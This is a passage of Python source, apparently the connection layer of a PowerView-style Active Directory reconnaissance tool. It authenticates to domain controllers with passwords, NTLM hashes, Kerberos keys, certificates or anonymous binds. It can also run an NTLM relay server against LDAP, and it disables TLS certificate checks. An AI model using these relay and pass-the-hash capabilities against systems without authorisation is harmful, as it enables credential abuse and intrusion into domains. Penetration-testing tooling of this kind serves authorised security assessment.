#!/usr/bin/env python3
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
from impacket.dcerpc.v5 import samr, epm, transport, rpcrt, rprn, srvs, wkst, scmr, drsuapi
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.dtypes import NULL
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp 
# for relay used
from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer
from impacket.examples.ntlmrelayx.clients.ldaprelayclient import LDAPRelayClient
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
from impacket.ntlm import NTLMAuthChallenge, NTLMSSP_AV_FLAGS, AV_PAIRS, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION, NTLMSSP_NEGOTIATE_UNICODE
from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError

from powerview.utils.helpers import (
	get_machine_name,
	host2ip,
	ip2host,
	is_valid_fqdn,
	dn2domain,
	is_ipaddress,
	get_principal_dc_address,
	get_system_nameserver,
	is_proxychains
)
from powerview.lib.resolver import (
	LDAP,
	TRUST,
	EXCHANGE,
)
from powerview.utils.certificate import (
	load_pfx,
	key_to_pem,
	cert_to_pem
)

import ssl
import ldap3
import logging
import sys
from struct import unpack
from time import sleep
import tempfile
from ldap3.operation import bind
from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED
import powerview.lib.adws as adws

class CONNECTION:
	def __init__(self, args):
		self.username = args.username
		self.password = args.password
		self.domain = args.domain
		self.lmhash = args.lmhash
		self.nthash = args.nthash
		self.use_kerberos = args.use_kerberos
		self.simple_auth = args.simple_auth
		self.use_ldap = args.use_ldap
		self.use_ldaps = args.use_ldaps
		self.use_gc = args.use_gc
		self.use_gc_ldaps = args.use_gc_ldaps
		self.use_adws = args.use_adws
		self.proto = None
		self.port = args.port
		self.hashes = args.hashes
		self.auth_aes_key = args.auth_aes_key
		if self.auth_aes_key is not None and self.use_kerberos is False:
			self.use_kerberos = True
		self.no_pass = args.no_pass
		if args.nameserver is None and is_ipaddress(args.ldap_address) and not is_proxychains():
			logging.debug(f"Using {args.ldap_address} as nameserver")
			self.nameserver = args.ldap_address
		elif args.nameserver and is_ipaddress(args.nameserver):
			self.nameserver = args.nameserver
		else:
			self.nameserver = None
		self.use_system_ns = args.use_system_ns
		self.stack_trace = args.stack_trace

		self.pfx = args.pfx
		self.pfx_pass = None
		self.do_certificate = True if self.pfx is not None else False

		if self.pfx:
			try:
				with open(self.pfx, "rb") as f:
					pfx = f.read()
			except FileNotFoundError as e:
				logging.error(str(e))
				sys.exit(0)

			try:
				logging.debug("Loading certificate without password")
				self.key, self.cert = load_pfx(pfx)
			except ValueError as e:
				if "Invalid password or PKCS12 data" in str(e):
					logging.warning("Certificate requires password. Supply password")
					from getpass import getpass
					self.pfx_pass = getpass("Password:").encode()
					self.key, self.cert = load_pfx(pfx, self.pfx_pass)
			except Exception as e:
				logging.error(f"Unknown error: {str(e)}")
				sys.exit(0)
		
		# auth method
		self.auth_method = ldap3.NTLM
		if self.simple_auth:
			self.auth_method = ldap3.SIMPLE
		elif self.do_certificate or self.use_kerberos:
			self.auth_method = ldap3.SASL

		# relay option
		self.relay = args.relay
		self.relay_host = args.relay_host
		self.relay_port = args.relay_port

		if is_valid_fqdn(args.ldap_address) and not self.use_kerberos:
			_ldap_address = host2ip(args.ldap_address, nameserver=self.nameserver, dns_timeout=5, use_system_ns = self.use_system_ns)
			if not _ldap_address:
				logging.error("Couldn't resolve %s" % args.ldap_address)
				sys.exit(0)
			self.targetIp = _ldap_address
			self.ldap_address = _ldap_address
			args.ldap_address = _ldap_address
		else:
			self.targetIp = args.ldap_address
			self.ldap_address = args.ldap_address

		if args.dc_ip:
			self.dc_ip = args.dc_ip
		else:
			self.dc_ip = self.targetIp
			args.dc_ip = self.dc_ip
	   
		self.kdcHost = self.dc_ip
		self.targetDomain = None
		self.flatname = None

		# if no protocol is specified, use ldaps
		if not self.use_ldap and not self.use_ldaps and not self.use_gc and not self.use_gc_ldaps and not self.use_adws:
			self.use_ldaps = True

		self.args = args
		self.ldap_session = None
		self.ldap_server = None

		self.rpc_conn = None
		self.wmi_conn = None
		self.dcom = None
		self.samr = None
		self.TGT = None
		self.TGS = None
		self.smb_sessions = {}

		# stolen from https://github.com/the-useless-one/pywerview/blob/master/pywerview/requester.py#L90
		try:
			if ldap3.SIGN and ldap3.ENCRYPT:
				self.sign_and_seal_supported = True
				logging.debug('LDAP sign and seal are supported')
		except AttributeError:
			self.sign_and_seal_supported = False
			logging.debug('LDAP sign and seal are not supported. Install with "pip install ldap3-bleeding-edge"')

		try:
			if ldap3.TLS_CHANNEL_BINDING:
				self.tls_channel_binding_supported = True
				logging.debug('TLS channel binding is supported')
		except AttributeError:
			self.tls_channel_binding_supported = False
			logging.debug('TLS channel binding is not supported Install with "pip install ldap3-bleeding-edge"')

		self.use_sign_and_seal = self.args.use_sign_and_seal
		self.use_channel_binding = self.args.use_channel_binding
		# check sign and cb is supported
		if self.use_sign_and_seal and not self.sign_and_seal_supported:
			logging.warning('LDAP sign and seal are not supported. Ignoring flag')
			self.use_sign_and_seal = False
		elif self.use_channel_binding and not self.tls_channel_binding_supported:
			logging.warning('Channel binding is not supported. Ignoring flag')
			self.use_channel_binding = False

		if self.use_sign_and_seal and self.use_ldaps:
			if self.args.use_ldaps:
				logging.error('Sign and seal not supported with LDAPS')
				sys.exit(-1)
			logging.warning('Sign and seal not supported with LDAPS. Falling back to LDAP')
			self.use_ldap = True
			self.use_ldaps = False
		elif self.use_channel_binding and self.use_ldap:
			if self.args.use_ldap:
				logging.error('TLS channel binding not supported with LDAP')
				sys.exit(-1)
			logging.warning('Channel binding not supported with LDAP. Proceed with LDAPS')
			self.use_ldaps = True
			self.use_ldap = False

	def refresh_domain(self):
		try:
			self.domain = dn2domain(self.ldap_server.info.other.get('defaultNamingContext')[0])
		except:
			pass

	def set_flatname(self, flatname):
		self.flatname = flatname

	def get_flatname(self):
		return self.flatname

	def set_domain(self, domain):
		self.domain = domain.lower()

	def get_domain(self):
		return self.domain.lower()

	def set_targetDomain(self, domain):
		"""
		Set or reset the target domain for cross-domain operations.
		
		Args:
			domain: The target domain name or None to reset to primary domain
		"""
		self.targetDomain = domain
			
	def get_targetDomain(self):
		"""
		Get the current target domain if set for cross-domain operations.
		
		Returns:
			String: The target domain name or None if operating in primary domain
		"""
		return self.targetDomain

	def set_username(self, username):
		self.username = username

	def get_username(self):
		return self.username

	def set_password(self, password):
		self.password = password

	def get_password(self):
		return self.password

	def get_TGT(self):
		return self.TGT

	def set_TGT(self, TGT):
		self.TGT = TGT

	def get_TGS(self):
		return self.TGS

	def set_TGS(self, TGS):
		self.TGS = TGS

	def set_dc_ip(self, dc_ip):
		self.dc_ip = dc_ip

	def get_dc_ip(self):
		return self.dc_ip

	def set_ldap_address(self, ldap_address):
		self.ldap_address = ldap_address

	def get_ldap_address(self):
		return self.ldap_address

	def update_temp_ldap_address(self, server):
		ldap_address = ""
		if self.use_kerberos:
			if is_valid_fqdn(server):
				ldap_address = server
			else:
				logging.error("Kerberos authentication requires a valid FQDN, not an IP address.")
				return None
		
		if is_valid_fqdn(server):
			# Get principal DC address, respecting proxy mode if applicable
			ldap_address = get_principal_dc_address(
				server, 
				self.nameserver, 
				use_system_ns=self.use_system_ns
			)
			# In proxy mode, ldap_address will be set to the original domain
		elif is_ipaddress(server):
			ldap_address = server 
		else:
			logging.error("Invalid server address. Must be either an FQDN or IP address.")
			return None

		# Set the target domain and ldap address
		self.ldap_address = ldap_address
		self.targetDomain = server.lower()
		
		# Log the appropriate message based on whether we're in proxy mode
		if self.nameserver is None and not self.use_system_ns and is_valid_fqdn(ldap_address):
			logging.debug(f"Using proxy-compatible mode for {server} -> {ldap_address}")
		else:
			logging.debug(f"Updated LDAP address to {ldap_address} for domain {self.targetDomain}")

		return ldap_address

	def get_proto(self):
		return self.proto

	def set_proto(self, proto):
		if proto.lower() == "ldaps":
			self.use_ldaps = True
			self.use_ldap = False
			self.use_gc_ldaps = False
			self.use_gc = False
		elif proto.lower() == "ldap":
			self.use_ldaps = False
			self.use_ldap = True
			self.use_gc_ldaps = False
			self.use_gc = False
		elif proto.lower() == "gc":
			self.use_ldaps = False
			self.use_ldap = False
			self.use_gc_ldaps = False
			self.use_gc = True
		elif proto.lower() == "gc_ldaps":
			self.use_ldaps = False
			self.use_ldap = False
			self.use_gc_ldaps = True
			self.use_gc = False
		elif proto.lower() == "adws":
			self.use_ldaps = False
			self.use_ldap = False
			self.use_gc_ldaps = False
			self.use_gc = False
			self.use_adws = True
		else:
			raise ValueError(f"Invalid protocol: {proto}")

	def get_nameserver(self):
		if self.use_system_ns:
			return get_system_nameserver()
		return self.nameserver

	def set_nameserver(self, nameserver):
		self.nameserver = nameserver

	def who_am_i(self):
		try:
			whoami = self.ldap_session.extend.standard.who_am_i()
			if whoami:
				whoami = whoami.split(":")[-1]
		except Exception as e:
			whoami = "%s\\%s" % (self.get_domain(), self.get_username())
		return whoami if whoami else "ANONYMOUS"

	def reset_connection(self, max_retries=3):
		"""
		Reset and reconnect the LDAP connection using exponential backoff strategy
		
		Args:
			max_retries (int): Maximum number of reconnection attempts
			
		Returns:
			bool: True if reconnection successful, False otherwise
		"""
		import random
		import time
		
		retry_count = 0
		success = False
		
		while retry_count < max_retries and not success:
			try:
				if retry_count > 0:  # Only delay if this is a retry
					# Calculate backoff with jitter
					backoff_time = (2 ** retry_count) + random.uniform(0, 1)
					logging.info(f"LDAP reconnection attempt {retry_count+1}/{max_retries} after {backoff_time:.2f} seconds")
					time.sleep(backoff_time)
				
				# Actual reconnection
				self.ldap_session.rebind()
				
				# Verify connection is alive
				if self.is_connection_alive():
					logging.info("LDAP reconnection successful")
					success = True
				else:
					logging.warning("LDAP connection not functional after rebind attempt")
					retry_count += 1
				
			except ldap3.core.exceptions.LDAPSocketOpenError as e:
				logging.error(f"Socket open error during reconnection: {str(e)}")
				retry_count += 1
			except ldap3.core.exceptions.LDAPSessionTerminatedByServerError as e:
				logging.error(f"Session terminated by server during reconnection: {str(e)}")
				retry_count += 1
			except ldap3.core.exceptions.LDAPSocketSendError as e:
				logging.error(f"Socket send error during reconnection: {str(e)}")
				retry_count += 1
			except ldap3.core.exceptions.LDAPSocketReceiveError as e:
				logging.error(f"Socket receive error during reconnection: {str(e)}")
				retry_count += 1
			except ldap3.core.exceptions.LDAPBindError as e:
				logging.error(f"Bind error during reconnection: {str(e)}")
				retry_count += 1
			except Exception as e:
				logging.error(f"Unexpected error during reconnection: {str(e)}")
				retry_count += 1
		
		if not success:
			logging.error("Maximum LDAP reconnection attempts reached")
			sys.exit(0)
		
		return success

	def close(self):
		"""Close all connections and resources properly"""
		# First unbind LDAP session if it exists
		if hasattr(self, 'ldap_session') and self.ldap_session:
			try:
				self.ldap_session.unbind()
			except:
				pass
		
		# Shutdown relay instance if it exists
		if hasattr(self, 'relay_instance') and self.relay_instance:
			try:
				self.relay_instance.shutdown()
				del self.relay_instance
			except Exception as e:
				logging.error(f"Error shutting down relay server: {str(e)}")
		
		# Make sure to clean up other resources as needed
		if hasattr(self, 'rpc_conn') and self.rpc_conn:
			try:
				self.rpc_conn.disconnect()
			except:
				pass

	def init_ldap_session(self, ldap_address=None, use_ldap=False, use_gc_ldap=False):
		if self.targetDomain and self.targetDomain != self.domain and self.kdcHost:
			self.kdcHost = None

		if use_ldap or use_gc_ldap:
			self.use_ldaps = False
			self.use_gc_ldaps = False

		if self.use_kerberos:
			try:
				if ldap_address and is_ipaddress(ldap_address):
					target = get_machine_name(ldap_address)
					self.kdcHost = target
				elif self.ldap_address is not None and is_ipaddress(self.ldap_address):
					target = get_machine_name(self.ldap_address)
					self.kdcHost = target
				else:
					target = self.ldap_address
			except Exception as e:
				logging.debug("Performing reverse DNS lookup")
				target = ip2host(self.ldap_address, nameserver=self.nameserver, timeout=5)
				if not target:
					logging.warning(f"Failed to get computer hostname. The domain probably does not support NTLM authentication. Skipping...")
					target = self.ldap_address

			if not is_valid_fqdn(target):
				logging.error("Keberos authentication requires FQDN instead of IP")
				sys.exit(0)
		else:
			if ldap_address:
				if is_valid_fqdn(ldap_address):
					target = host2ip(ldap_address, nameserver=self.nameserver, use_system_ns=self.use_system_ns)
				else:
					target = ldap_address
			elif self.ldap_address is not None:
				target = self.ldap_address
			else:
				target = self.domain

		if self.do_certificate:
			logging.debug("Using Schannel, trying to authenticate with provided certificate")

			try:
				key_file = tempfile.NamedTemporaryFile(delete=False)
				key_file.write(key_to_pem(self.key))
				key_file.close()
			except AttributeError as e:
				logging.error("Not a valid key file")
				sys.exit(0)

			try:
				cert_file = tempfile.NamedTemporaryFile(delete=False)
				cert_file.write(cert_to_pem(self.cert))
				cert_file.close()
			except AttributeError as e:
				logging.error(str(e))
				sys.exit(0)
			
			logging.debug(f"Key File: {key_file.name}")
			logging.debug(f"Cert File: {cert_file.name}")
			tls = ldap3.Tls(
					local_private_key_file=key_file.name,
					local_certificate_file=cert_file.name,
					validate=ssl.CERT_NONE,
				)
			self.ldap_server, self.ldap_session = self.init_ldap_schannel_connection(target, tls)
			#self.ldap_server, self.ldap_session = self.init_ldap_connection(target, tls, auth_method=ldap3.SASL)
			return self.ldap_server, self.ldap_session

		_anonymous = False
		if not self.domain and not self.username and (not self.password or not self.nthash or not self.lmhash):
			if self.relay:
				target = "ldaps://%s" % (self.ldap_address) if self.use_ldaps else "ldap://%s" % (self.ldap_address)
				logging.info(f"[Relay] Targeting {target}")

				try:
					# Store the relay instance as a class attribute
					self.relay_instance = Relay(target, self.relay_host, self.relay_port, self.args)
					self.relay_instance.start()
				except PermissionError as e:
					if "Permission denied" in str(e):
						logging.error(f"[Relay] Permission denied when setting up relay server on port {self.relay_port}.")
						logging.error(f"[Relay] Try running with sudo or using a port above 1024 with --relay-port option.")
						sys.exit(1)
					else:
						# Re-raise any other permission errors
						raise

				self.ldap_session = self.relay_instance.get_ldap_session()
				self.ldap_server = self.relay_instance.get_ldap_server()
				self.proto = self.relay_instance.get_scheme()

				# setting back to default
				self.relay = False

				return self.ldap_server, self.ldap_session
			else:
				logging.debug("No credentials supplied. Using ANONYMOUS access")
				_anonymous = True
		else:
			if self.relay:
				logging.warning("Credentials supplied with relay option. Ignoring relay flag...")

		if self.use_ldaps is True or self.use_gc_ldaps is True:
			try:
				tls = ldap3.Tls(
					validate=ssl.CERT_NONE,
					version=ssl.PROTOCOL_TLSv1_2,
					ciphers='ALL:@SECLEVEL=0',
				)
				if _anonymous:
					self.ldap_server, self.ldap_session = self.init_ldap_anonymous(target, tls)
				else:
					self.ldap_server, self.ldap_session = self.init_ldap_connection(target, tls, self.domain, self.username, self.password, self.lmhash, self.nthash, auth_aes_key=self.auth_aes_key, auth_method=self.auth_method)

				# check if domain is empty
				if not self.domain or not is_valid_fqdn(self.domain):
					self.refresh_domain()

				return self.ldap_server, self.ldap_session
			except (ldap3.core.exceptions.LDAPSocketOpenError, ConnectionResetError):
				try:
					tls = ldap3.Tls(
						validate=ssl.CERT_NONE,
						version=ssl.PROTOCOL_TLSv1,
						ciphers='ALL:@SECLEVEL=0',
					)
					if _anonymous:
						self.ldap_server, self.ldap_session = self.init_ldap_anonymous(target, tls)
					else:
						self.ldap_server, self.ldap_session = self.init_ldap_connection(target, tls, self.domain, self.username, self.password, self.lmhash, self.nthash, auth_aes_key=self.auth_aes_key, auth_method=self.auth_method)
					return self.ldap_server, self.ldap_session
				except:
					if self.use_ldaps:
						logging.debug('Error bind to LDAPS, trying LDAP')
						self.set_proto("ldap")
					elif self.use_gc_ldaps:
						logging.debug('Error bind to GC ssl, trying GC')
						self.set_proto("gc")
					return self.init_ldap_session()
		elif self.use_adws:
			self.ldap_server, self.ldap_session = self.init_adws_session()
			return self.ldap_server, self.ldap_session
		else:
			if _anonymous:
				self.ldap_server, self.ldap_session = self.init_ldap_anonymous(target)
			else:
				self.ldap_server, self.ldap_session = self.init_ldap_connection(target, None, self.domain, self.username, self.password, self.lmhash, self.nthash, auth_aes_key=self.auth_aes_key, auth_method=self.auth_method)
			return self.ldap_server, self.ldap_session

	def init_adws_session(self):
		if self.auth_method != ldap3.NTLM:
			logging.error("ADWS protocol only supports NTLM authentication as of now")
			sys.exit(0)

		target = self.ldap_address
		self.ldap_server, self.ldap_session = self.init_adws_connection(target, self.domain, self.username, self.password, self.lmhash, self.nthash)
		return self.ldap_server, self.ldap_session

	def init_ldap_anonymous(self, target, tls=None):
		ldap_server_kwargs = {
			"host": target,
			"get_info": ldap3.ALL,
			"formatter": {
				"sAMAccountType": LDAP.resolve_samaccounttype,
				"lastLogon": LDAP.ldap2datetime,
				"whenCreated": LDAP.resolve_generalized_time,
				"whenChanged": LDAP.resolve_generalized_time,
				"pwdLastSet": LDAP.ldap2datetime,
				"badPasswordTime": LDAP.ldap2datetime,
				"lastLogonTimestamp": LDAP.ldap2datetime,
				"objectGUID": LDAP.bin_to_guid,
				"objectSid": LDAP.bin_to_sid,
				"securityIdentifier": LDAP.bin_to_sid,
				"mS-DS-CreatorSID": LDAP.bin_to_sid,
				"msDS-ManagedPassword": LDAP.formatGMSApass,
				"pwdProperties": LDAP.resolve_pwdProperties,
				"userAccountControl": LDAP.resolve_uac,
				"msDS-SupportedEncryptionTypes": LDAP.resolve_enc_type,
				"trustAttributes": TRUST.resolve_trustAttributes,
				"trustType": TRUST.resolve_trustType,
				"trustDirection": TRUST.resolve_trustDirection,
				"msExchVersion": EXCHANGE.resolve_msExchVersion,
				"msDS-AllowedToActOnBehalfOfOtherIdentity": LDAP.resolve_msDSAllowedToActOnBehalfOfOtherIdentity,
				"msDS-TrustForestTrustInfo": LDAP.resolve_msDSTrustForestTrustInfo,
				"pKIExpirationPeriod": LDAP.resolve_pKIExpirationPeriod,
				"pKIOverlapPeriod": LDAP.resolve_pKIOverlapPeriod
			}
		}

		if tls:
			if self.use_ldaps:
				self.proto = "LDAPS"
				ldap_server_kwargs["use_ssl"] = True
				ldap_server_kwargs["port"] = 636
			elif self.use_gc_ldaps:
				self.proto = "GCssl"
				ldap_server_kwargs["use_ssl"] = True
				ldap_server_kwargs["port"] = 3269
		else:
			if self.use_gc:
				self.proto = "GC"
				ldap_server_kwargs["use_ssl"] = False
				ldap_server_kwargs["port"] = 3268
			elif self.use_ldap:
				self.proto = "LDAP"
				ldap_server_kwargs["use_ssl"] = False
				ldap_server_kwargs["port"] = 389

		logging.debug(f"Connecting as ANONYMOUS to %s, Port: %s, SSL: %s" % (ldap_server_kwargs["host"], ldap_server_kwargs["port"], ldap_server_kwargs["use_ssl"]))
		self.ldap_server = ldap3.Server(**ldap_server_kwargs)
		self.ldap_session = ldap3.Connection(self.ldap_server)

		if not self.ldap_session.bind():
			logging.info(f"Error binding to {self.proto}")
			sys.exit(0)

		base_dn = self.ldap_server.info.other['defaultNamingContext'][0]
		self.domain = dn2domain(self.ldap_server.info.other['defaultNamingContext'][0])
		if not self.ldap_session.search(base_dn,'(objectclass=*)'):
			logging.warning("ANONYMOUS access not allowed for %s" % (self.domain))
			sys.exit(0)
		else:
			logging.info("Server allows ANONYMOUS access!")
			
			# check if domain is empty
			if not self.domain or not is_valid_fqdn(self.domain):
				self.domain = dn2domain(self.ldap_server.info.other.get('rootDomainNamingContext')[0])
				self.username = "ANONYMOUS"
			
			return self.ldap_server, self.ldap_session

	def init_ldap_schannel_connection(self, target, tls, seal_and_sign=False, tls_channel_binding=False):
		ldap_server_kwargs = {
			"host": target,
			"get_info": ldap3.ALL,
			"use_ssl": True if self.use_gc_ldaps or self.use_ldaps else False,
			"tls": tls,
			"port": self.port,
			"formatter": {
				"sAMAccountType": LDAP.resolve_samaccounttype,
				"lastLogon": LDAP.ldap2datetime,
				"whenCreated": LDAP.resolve_generalized_time,
				"whenChanged": LDAP.resolve_generalized_time,
				"pwdLastSet": LDAP.ldap2datetime,
				"badPasswordTime": LDAP.ldap2datetime,
				"lastLogonTimestamp": LDAP.ldap2datetime,
				"objectGUID": LDAP.bin_to_guid,
				"objectSid": LDAP.bin_to_sid,
				"securityIdentifier": LDAP.bin_to_sid,
				"mS-DS-CreatorSID": LDAP.bin_to_sid,
				"msDS-ManagedPassword": LDAP.formatGMSApass,
				"msDS-GroupMSAMembership": LDAP.parseGMSAMembership,
				"pwdProperties": LDAP.resolve_pwdProperties,
				"userAccountControl": LDAP.resolve_uac,
				"msDS-SupportedEncryptionTypes": LDAP.resolve_enc_type,
				"trustAttributes": TRUST.resolve_trustAttributes,
				"trustType": TRUST.resolve_trustType,
				"trustDirection": TRUST.resolve_trustDirection,
				"msExchVersion": EXCHANGE.resolve_msExchVersion,
				"msDS-AllowedToActOnBehalfOfOtherIdentity": LDAP.resolve_msDSAllowedToActOnBehalfOfOtherIdentity,
				"msDS-TrustForestTrustInfo": LDAP.resolve_msDSTrustForestTrustInfo,
				"pKIExpirationPeriod": LDAP.resolve_pKIExpirationPeriod,
				"pKIOverlapPeriod": LDAP.resolve_pKIOverlapPeriod
			}
		}

		if self.use_ldaps:
			self.proto = "LDAPS"
			ldap_server_kwargs["use_ssl"] = True
			ldap_server_kwargs["port"] = 636 if not self.port else self.port
		elif self.use_gc_ldaps:
			self.proto = "GCssl"
			ldap_server_kwargs["use_ssl"] = True
			ldap_server_kwargs["port"] = 3269 if not self.port else self.port

		ldap_connection_kwargs = {
			"user": None,
			"authentication": ldap3.SASL,
			"sasl_mechanism": ldap3.EXTERNAL,
		}

		ldap_server = ldap3.Server(**ldap_server_kwargs)
		try:
			if seal_and_sign or self.use_sign_and_seal:
				logging.debug("Using seal and sign")
				ldap_connection_kwargs["session_security"] = ldap3.ENCRYPT
			elif tls_channel_binding or self.use_channel_binding:
				logging.debug("Using channel binding")
				ldap_connection_kwargs["channel_binding"] = ldap3.TLS_CHANNEL_BINDING
			
			ldap_session = ldap3.Connection(ldap_server, raise_exceptions=True, **ldap_connection_kwargs)
			ldap_session.open()
		except Exception as e:
			logging.error("Error during schannel authentication with error: %s", str(e))
			sys.exit(0)
		except ldap3.core.exceptions.LDAPInvalidCredentialsResult as e:
			logging.debug("Server returns invalidCredentials")
			if 'AcceptSecurityContext error, data 80090346' in str(ldap_session.result):
				logging.warning("Channel binding is enforced!")
				if self.tls_channel_binding_supported and (self.use_ldaps or self.use_gc_ldaps):
					logging.debug("Re-authenticate with channel binding")
					return self.init_ldap_schannel_connection(target, tls, tls_channel_binding=True)
				else:
					logging.warning('ldap3 library doesn\'t support CB. Install with "pip install \"git+https://github.com/H0j3n/ldap3.git@powerview.py_match-requirements\""')
					sys.exit(-1)
		except ldap3.core.exceptions.LDAPStrongerAuthRequiredResult as e:
			logging.debug("Server returns LDAPStrongerAuthRequiredResult")
			logging.warning("LDAP Signing is enforced!")
			if self.sign_and_seal_supported:
				logging.debug("Re-authenticate with seal and sign")
				return self.init_ldap_schannel_connection(target, tls, seal_and_sign=True)
			else:
				logging.warning('ldap3 library doesn\'t support CB. Install with "pip install \"git+https://github.com/H0j3n/ldap3.git@powerview.py_match-requirements\""')
				sys.exit(-1)
		except ldap3.core.exceptions.LDAPInappropriateAuthenticationResult as e:
			logging.error("Cannot start kerberos signing/sealing when using TLS/SSL")
			sys.exit(-1)
		except ldap3.core.exceptions.LDAPInvalidValueError as e:
			logging.error(str(e))
			sys.exit(-1)
		
		if ldap_session.result is not None:
			logging.error(f"AuthError: {str(ldap_session.result['message'])}")
			sys.exit(0)

		return ldap_server, ldap_session

	def init_adws_connection(self, target, domain=None, username=None, password=None, lmhash=None, nthash=None, seal_and_sign=False, tls_channel_binding=False, auth_method=ldap3.NTLM):
		self.proto = "ADWS"
		
		adws_server_kwargs = {
			"host": target,
			"port": 9389,
			"formatter": {
				"sAMAccountType": LDAP.resolve_samaccounttype,
				"lastLogon": LDAP.ldap2datetime,
				"whenCreated": LDAP.resolve_generalized_time,
				"whenChanged": LDAP.resolve_generalized_time,
				"pwdLastSet": LDAP.ldap2datetime,
				"badPasswordTime": LDAP.ldap2datetime,
				"lastLogonTimestamp": LDAP.ldap2datetime,
				"objectGUID": LDAP.bin_to_guid,
				"objectSid": LDAP.bin_to_sid,
				"securityIdentifier": LDAP.bin_to_sid,
				"mS-DS-CreatorSID": LDAP.bin_to_sid,
				"msDS-ManagedPassword": LDAP.formatGMSApass,
				"msDS-GroupMSAMembership": LDAP.parseGMSAMembership,
				"pwdProperties": LDAP.resolve_pwdProperties,
				"userAccountControl": LDAP.resolve_uac,
				"msDS-SupportedEncryptionTypes": LDAP.resolve_enc_type,
				"trustAttributes": TRUST.resolve_trustAttributes,
				"trustType": TRUST.resolve_trustType,
				"trustDirection": TRUST.resolve_trustDirection,
				"msExchVersion": EXCHANGE.resolve_msExchVersion,
				"msDS-AllowedToActOnBehalfOfOtherIdentity": LDAP.resolve_msDSAllowedToActOnBehalfOfOtherIdentity,
				"msDS-TrustForestTrustInfo": LDAP.resolve_msDSTrustForestTrustInfo,
				"pKIExpirationPeriod": LDAP.resolve_pKIExpirationPeriod,
				"pKIOverlapPeriod": LDAP.resolve_pKIOverlapPeriod
			}
		}
		adws_server = adws.Server(**adws_server_kwargs)

		adws_connection_kwargs = {
			"user": username,
			"password": password,
			"domain": domain,
			"lmhash": lmhash,
			"nthash": nthash,
			"raise_exceptions": True
		}
		try:
			adws_connection = adws.Connection(adws_server, **adws_connection_kwargs)
			adws_server, adws_session = adws_connection.connect(get_info=True)
			return adws_server, adws_session
		except Exception as e:
			if self.args.stack_trace:
				raise e
			else:
				logging.error(f"Error during ADWS authentication with error: {str(e)}")
			sys.exit(0)

	def init_ldap_connection(self, target, tls, domain=None, username=None, password=None, lmhash=None, nthash=None, auth_aes_key=None, seal_and_sign=False, tls_channel_binding=False, auth_method=ldap3.NTLM):
		ldap_server_kwargs = {
			"host": target,
			"get_info": ldap3.ALL,
			"allowed_referral_hosts": [('*', True)],
			"mode": ldap3.IP_V4_PREFERRED,
			"formatter": {
				"sAMAccountType": LDAP.resolve_samaccounttype,
				"lastLogon": LDAP.ldap2datetime,
				"whenCreated": LDAP.resolve_generalized_time,
				"whenChanged": LDAP.resolve_generalized_time,
				"pwdLastSet": LDAP.ldap2datetime,
				"badPasswordTime": LDAP.ldap2datetime,
				"lastLogonTimestamp": LDAP.ldap2datetime,
				"objectGUID": LDAP.bin_to_guid,
				"objectSid": LDAP.bin_to_sid,
				"securityIdentifier": LDAP.bin_to_sid,
				"mS-DS-CreatorSID": LDAP.bin_to_sid,
				"msDS-ManagedPassword": LDAP.formatGMSApass,
				"msDS-GroupMSAMembership": LDAP.parseGMSAMembership,
				"pwdProperties": LDAP.resolve_pwdProperties,
				"userAccountControl": LDAP.resolve_uac,
				"msDS-SupportedEncryptionTypes": LDAP.resolve_enc_type,
				"trustAttributes": TRUST.resolve_trustAttributes,
				"trustType": TRUST.resolve_trustType,
				"trustDirection": TRUST.resolve_trustDirection,
				"msExchVersion": EXCHANGE.resolve_msExchVersion,
				"msDS-AllowedToActOnBehalfOfOtherIdentity": LDAP.resolve_msDSAllowedToActOnBehalfOfOtherIdentity,
				"msDS-TrustForestTrustInfo": LDAP.resolve_msDSTrustForestTrustInfo,
				"pKIExpirationPeriod": LDAP.resolve_pKIExpirationPeriod,
				"pKIOverlapPeriod": LDAP.resolve_pKIOverlapPeriod
			}
		}

		if tls:
			if self.use_ldaps:
				self.proto = "LDAPS"
				ldap_server_kwargs["use_ssl"] = True
				ldap_server_kwargs["port"] = 636 if not self.port else self.port
			elif self.use_gc_ldaps:
				self.proto = "GCssl"
				ldap_server_kwargs["use_ssl"] = True
				ldap_server_kwargs["port"] = 3269 if not self.port else self.port
		else:
			if self.use_gc:
				self.proto = "GC"
				ldap_server_kwargs["use_ssl"] = False
				ldap_server_kwargs["port"] = 3268 if not self.port else self.port
			elif self.use_ldap:
				self.proto = "LDAP"
				ldap_server_kwargs["use_ssl"] = False
				ldap_server_kwargs["port"] = 389 if not self.port else self.port

		bind = False

		ldap_server = ldap3.Server(**ldap_server_kwargs)

		user = None
		if auth_method == ldap3.NTLM:
			user = '%s\\%s' % (domain, username)
		elif auth_method == ldap3.SIMPLE or auth_method == ldap3.SASL:
			user = '{}@{}'.format(username, domain)
		else:
			user = username

		ldap_connection_kwargs = {
			"user":user,
			"raise_exceptions": True,
			"authentication": auth_method
		}
		logging.debug("Authentication: {}, User: {}".format(auth_method, user))

		if seal_and_sign or self.use_sign_and_seal:
			logging.debug("Using seal and sign")
			ldap_connection_kwargs["session_security"] = ldap3.ENCRYPT
		elif tls_channel_binding or self.use_channel_binding:
			logging.debug("Using channel binding")
			ldap_connection_kwargs["channel_binding"] = ldap3.TLS_CHANNEL_BINDING

		logging.debug(f"Connecting to %s, Port: %s, SSL: %s" % (ldap_server_kwargs["host"], ldap_server_kwargs["port"], ldap_server_kwargs["use_ssl"]))
		if self.use_kerberos:
			ldap_connection_kwargs["sasl_mechanism"] = ldap3.KERBEROS
			ldap_session = ldap3.Connection(ldap_server, **ldap_connection_kwargs)
			try:
